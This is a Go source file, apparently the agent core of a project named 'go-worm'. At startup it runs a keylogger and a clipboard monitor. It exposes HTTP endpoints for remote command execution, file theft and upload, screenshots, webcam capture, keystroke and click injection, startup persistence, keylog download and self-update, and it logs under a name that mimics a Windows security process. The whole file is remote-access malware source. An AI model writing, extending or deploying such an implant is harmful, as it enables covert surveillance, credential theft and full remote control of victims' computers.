2026-08-18 16:40:50 +03:00
|
|
|
package agent
|
|
|
|
|
|
|
|
|
|
import (
|
|
|
|
|
"context"
|
|
|
|
|
"errors"
|
|
|
|
|
"fmt"
|
|
|
|
|
"net"
|
|
|
|
|
"net/http"
|
|
|
|
|
"os"
|
|
|
|
|
"os/signal"
|
|
|
|
|
"strings"
|
|
|
|
|
"time"
|
|
|
|
|
|
2026-08-28 13:08:14 +03:00
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/clipmon"
|
2026-08-18 16:40:50 +03:00
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
|
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/files"
|
|
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
2026-08-18 19:12:25 +03:00
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/input"
|
2026-08-18 16:40:50 +03:00
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/instance"
|
2026-08-28 12:44:09 +03:00
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/keylog"
|
2026-08-18 16:40:50 +03:00
|
|
|
)
|
|
|
|
|
|
|
|
|
|
type Agent struct {
|
2026-09-01 23:12:22 +03:00
|
|
|
addr string
|
|
|
|
|
root string
|
|
|
|
|
guard *instance.Guard
|
|
|
|
|
server *http.Server
|
|
|
|
|
startedAt time.Time
|
|
|
|
|
stopOnInterrupt bool
|
2026-08-18 16:40:50 +03:00
|
|
|
}
|
|
|
|
|
|
2026-09-01 20:17:06 +03:00
|
|
|
// Config controls agent startup. Zero values use environment defaults.
|
|
|
|
|
type Config struct {
|
2026-09-01 23:12:22 +03:00
|
|
|
ListenAddr string
|
|
|
|
|
Parallel bool
|
|
|
|
|
StopOnInterrupt bool
|
2026-09-01 20:17:06 +03:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func New(cfg Config) (*Agent, error) {
|
|
|
|
|
addr := strings.TrimSpace(cfg.ListenAddr)
|
|
|
|
|
if addr == "" {
|
|
|
|
|
addr = config.EnvOr("AGENT_ADDR", config.DefaultAddr)
|
|
|
|
|
}
|
2026-08-18 16:40:50 +03:00
|
|
|
a := &Agent{
|
2026-09-01 23:12:22 +03:00
|
|
|
addr: addr,
|
|
|
|
|
startedAt: time.Now(),
|
|
|
|
|
stopOnInterrupt: cfg.StopOnInterrupt,
|
2026-08-18 16:40:50 +03:00
|
|
|
}
|
|
|
|
|
if root := strings.TrimSpace(os.Getenv("AGENT_FILE_ROOT")); root != "" {
|
|
|
|
|
resolved, err := files.CanonicalExistingPath(root)
|
|
|
|
|
if err != nil {
|
|
|
|
|
return nil, fmt.Errorf("invalid AGENT_FILE_ROOT: %w", err)
|
|
|
|
|
}
|
|
|
|
|
a.root = resolved
|
|
|
|
|
}
|
2026-09-01 20:17:06 +03:00
|
|
|
if !cfg.Parallel {
|
|
|
|
|
guard, err := instance.Acquire()
|
|
|
|
|
if err != nil {
|
|
|
|
|
return nil, err
|
|
|
|
|
}
|
|
|
|
|
a.guard = guard
|
2026-08-18 16:40:50 +03:00
|
|
|
}
|
2026-08-18 19:12:25 +03:00
|
|
|
input.EnableDPIAwareness()
|
2026-08-28 12:44:09 +03:00
|
|
|
if err := keylog.Start(); err != nil {
|
|
|
|
|
helpers.Log.Printf("keylog start: %v", err)
|
|
|
|
|
}
|
2026-08-28 13:08:14 +03:00
|
|
|
if err := clipmon.Start(); err != nil {
|
|
|
|
|
helpers.Log.Printf("clipboard monitor start: %v", err)
|
|
|
|
|
}
|
2026-08-18 16:40:50 +03:00
|
|
|
return a, nil
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func (a *Agent) Close() {
|
2026-08-28 13:08:14 +03:00
|
|
|
clipmon.Stop()
|
2026-08-28 12:44:09 +03:00
|
|
|
keylog.Stop()
|
2026-08-18 16:40:50 +03:00
|
|
|
if a.guard != nil {
|
|
|
|
|
a.guard.Close()
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func (a *Agent) Serve() error {
|
|
|
|
|
mux := http.NewServeMux()
|
2026-08-18 16:55:42 +03:00
|
|
|
mux.HandleFunc("/", a.handleWeb)
|
2026-08-18 16:40:50 +03:00
|
|
|
mux.HandleFunc("/health", a.handleHealth)
|
|
|
|
|
mux.HandleFunc("/healthz", a.handleHealth)
|
2026-08-28 13:23:41 +03:00
|
|
|
mux.HandleFunc("/openapi", a.handleOpenAPI)
|
2026-08-18 16:40:50 +03:00
|
|
|
mux.HandleFunc("/openapi.json", a.handleOpenAPI)
|
|
|
|
|
mux.HandleFunc("/api/v1/status", a.handleStatus)
|
|
|
|
|
mux.HandleFunc("/api/v1/files", a.handleFiles)
|
2026-09-01 20:20:15 +03:00
|
|
|
mux.HandleFunc("/api/v1/files/zip", a.handleZipFolder)
|
2026-08-18 16:40:50 +03:00
|
|
|
mux.HandleFunc("/api/v1/download", a.handleDownload)
|
2026-08-28 12:52:26 +03:00
|
|
|
mux.HandleFunc("/api/v1/upload", a.handleUpload)
|
2026-08-18 16:40:50 +03:00
|
|
|
mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
|
2026-08-29 18:34:05 +03:00
|
|
|
mux.HandleFunc("/api/v1/webcam", a.handleWebcam)
|
|
|
|
|
mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame)
|
2026-08-18 16:40:50 +03:00
|
|
|
mux.HandleFunc("/api/v1/exec", a.handleExec)
|
2026-08-18 17:06:20 +03:00
|
|
|
mux.HandleFunc("/api/v1/startup", a.handleStartup)
|
2026-08-18 19:12:25 +03:00
|
|
|
mux.HandleFunc("/api/v1/input/click", a.handleClick)
|
2026-08-28 13:11:56 +03:00
|
|
|
mux.HandleFunc("/api/v1/input/key", a.handleKey)
|
2026-08-18 19:12:25 +03:00
|
|
|
mux.HandleFunc("/api/v1/input/text", a.handleText)
|
2026-08-28 12:44:09 +03:00
|
|
|
mux.HandleFunc("/api/v1/keylog", a.handleKeylog)
|
|
|
|
|
mux.HandleFunc("/api/v1/keylog/download", a.handleKeylogDownload)
|
2026-09-01 20:17:06 +03:00
|
|
|
mux.HandleFunc("/api/v1/update", a.handleUpdate)
|
2026-08-18 16:40:50 +03:00
|
|
|
|
|
|
|
|
a.server = &http.Server{
|
|
|
|
|
Addr: a.addr,
|
2026-08-29 18:15:46 +03:00
|
|
|
Handler: helpers.RecoverHandler(helpers.BasicAuth(mux)),
|
2026-08-18 16:40:50 +03:00
|
|
|
ReadHeaderTimeout: 10 * time.Second,
|
|
|
|
|
ReadTimeout: 30 * time.Second,
|
|
|
|
|
WriteTimeout: 150 * time.Second,
|
|
|
|
|
IdleTimeout: 60 * time.Second,
|
|
|
|
|
MaxHeaderBytes: 16 << 10,
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
listener, err := net.Listen("tcp", a.addr)
|
|
|
|
|
if err != nil {
|
|
|
|
|
return fmt.Errorf("listen %s: %w", a.addr, err)
|
|
|
|
|
}
|
|
|
|
|
|
2026-09-01 20:12:12 +03:00
|
|
|
helpers.Log.Printf("win64_mp %s listening on http://%s", config.Version, a.addr)
|
2026-08-18 16:40:50 +03:00
|
|
|
|
2026-09-01 23:12:22 +03:00
|
|
|
if a.stopOnInterrupt {
|
|
|
|
|
ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt)
|
|
|
|
|
defer stop()
|
|
|
|
|
helpers.Go("shutdown", func() {
|
|
|
|
|
<-ctx.Done()
|
|
|
|
|
shutdownCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
|
|
|
|
defer cancel()
|
|
|
|
|
_ = a.server.Shutdown(shutdownCtx)
|
|
|
|
|
})
|
|
|
|
|
}
|
2026-08-18 16:40:50 +03:00
|
|
|
|
|
|
|
|
if err := a.server.Serve(listener); err != nil && !errors.Is(err, http.ErrServerClosed) {
|
|
|
|
|
return fmt.Errorf("serve: %w", err)
|
|
|
|
|
}
|
|
|
|
|
return nil
|
|
|
|
|
}
|